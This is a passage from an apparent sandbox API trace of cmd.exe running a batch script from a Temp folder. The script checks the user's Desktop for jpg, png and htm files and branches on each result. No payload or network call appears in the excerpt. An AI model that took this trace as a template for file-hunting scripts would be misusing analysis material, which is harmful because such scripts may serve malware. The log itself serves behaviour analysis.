cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0039.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.451] GetFileType (hFile=0x74) returned 0x1 [0039.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0039.451] GetProcessHeap () returned 0x4e0000 [0039.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.451] GetProcessHeap () returned 0x4e0000 [0039.451] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.451] GetProcessHeap () returned 0x4e0000 [0039.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.451] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.451] GetProcessHeap () returned 0x4e0000 [0039.451] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.451] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.451] GetProcessHeap () returned 0x4e0000 [0039.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.451] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.451] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.452] GetProcessHeap () returned 0x4e0000 [0039.452] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.452] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.452] GetProcessHeap () returned 0x4e0000 [0039.452] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.452] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.452] GetProcessHeap () returned 0x4e0000 [0039.452] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.452] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.453] _tell (_FileHandle=3) returned 3938 [0039.453] _close (_FileHandle=3) returned 0 [0039.453] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0039.453] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.453] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.453] GetLastError () returned 0x2 [0039.453] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.453] GetLastError () returned 0x6 [0039.453] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.453] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.457] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.457] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.458] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.458] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.458] SetConsoleInputExeNameW () returned 0x1 [0039.458] GetConsoleOutputCP () returned 0x1b5 [0039.458] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.458] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.458] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.459] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.459] GetProcessHeap () returned 0x4e0000 [0039.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0039.460] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16cb, lpOverlapped=0x0) returned 1 [0039.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0039.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0039.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.460] GetFileType (hFile=0x74) returned 0x1 [0039.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0039.460] GetProcessHeap () returned 0x4e0000 [0039.460] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.460] GetProcessHeap () returned 0x4e0000 [0039.460] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.460] _tell (_FileHandle=3) returned 3940 [0039.460] _close (_FileHandle=3) returned 0 [0039.460] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.461] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0039.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0039.461] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16c9, lpOverlapped=0x0) returned 1 [0039.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0039.461] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0039.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.461] GetFileType (hFile=0x74) returned 0x1 [0039.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0039.461] GetProcessHeap () returned 0x4e0000 [0039.461] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.461] GetProcessHeap () returned 0x4e0000 [0039.461] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.461] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.461] GetProcessHeap () returned 0x4e0000 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.462] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.462] GetProcessHeap () returned 0x4e0000 [0039.462] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.462] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.462] GetProcessHeap () returned 0x4e0000 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.462] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.462] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.462] GetProcessHeap () returned 0x4e0000 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.462] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.462] GetProcessHeap () returned 0x4e0000 [0039.462] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.462] GetProcessHeap () returned 0x4e0000 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.463] _tell (_FileHandle=3) returned 3965 [0039.463] _close (_FileHandle=3) returned 0 [0039.463] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2b [0039.463] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.463] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.464] GetLastError () returned 0x2 [0039.464] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.464] GetLastError () returned 0x6 [0039.464] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.464] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.464] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.464] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.464] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.464] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.465] SetConsoleInputExeNameW () returned 0x1 [0039.465] GetConsoleOutputCP () returned 0x1b5 [0039.465] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.465] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.465] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.465] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0039.465] GetProcessHeap () returned 0x4e0000 [0039.465] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.466] GetProcessHeap () returned 0x4e0000 [0039.466] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0039.466] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16b0, lpOverlapped=0x0) returned 1 [0039.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=3967, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0039.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n") returned 2 [0039.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.467] GetFileType (hFile=0x74) returned 0x1 [0039.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0039.467] GetProcessHeap () returned 0x4e0000 [0039.467] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.467] GetProcessHeap () returned 0x4e0000 [0039.467] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.467] _tell (_FileHandle=3) returned 3967 [0039.467] _close (_FileHandle=3) returned 0 [0039.467] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.467] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=3967, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0039.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0039.468] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16ae, lpOverlapped=0x0) returned 1 [0039.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=3992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0039.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n\r\n") returned 25 [0039.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.468] GetFileType (hFile=0x74) returned 0x1 [0039.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0039.468] GetProcessHeap () returned 0x4e0000 [0039.468] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.468] GetProcessHeap () returned 0x4e0000 [0039.468] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.468] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.468] GetProcessHeap () returned 0x4e0000 [0039.468] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.468] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.468] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.468] GetProcessHeap () returned 0x4e0000 [0039.468] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.468] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.469] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.469] GetProcessHeap () returned 0x4e0000 [0039.469] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.469] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.469] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.469] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.469] GetProcessHeap () returned 0x4e0000 [0039.469] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.469] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.469] GetProcessHeap () returned 0x4e0000 [0039.469] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.469] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.469] GetProcessHeap () returned 0x4e0000 [0039.469] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.469] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.470] _tell (_FileHandle=3) returned 3992 [0039.470] _close (_FileHandle=3) returned 0 [0039.470] GetFullPathNameW (in: lpFileName="*.htm", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", lpFilePart=0x41eea8*="*.htm") returned 0x2b [0039.470] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.470] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.470] GetLastError () returned 0x2 [0039.471] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.471] GetLastError () returned 0x6 [0039.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.471] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.471] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.471] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.471] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.471] SetConsoleInputExeNameW () returned 0x1 [0039.472] GetConsoleOutputCP () returned 0x1b5 [0039.472] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.472] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.473] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.473] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=3992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.473] GetProcessHeap () returned 0x4e0000 [0039.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.474] GetProcessHeap () returned 0x4e0000 [0039.474] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0039.474] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1695, lpOverlapped=0x0) returned 1 [0039.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=3994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0039.474] MultiByteToWideChar (in: 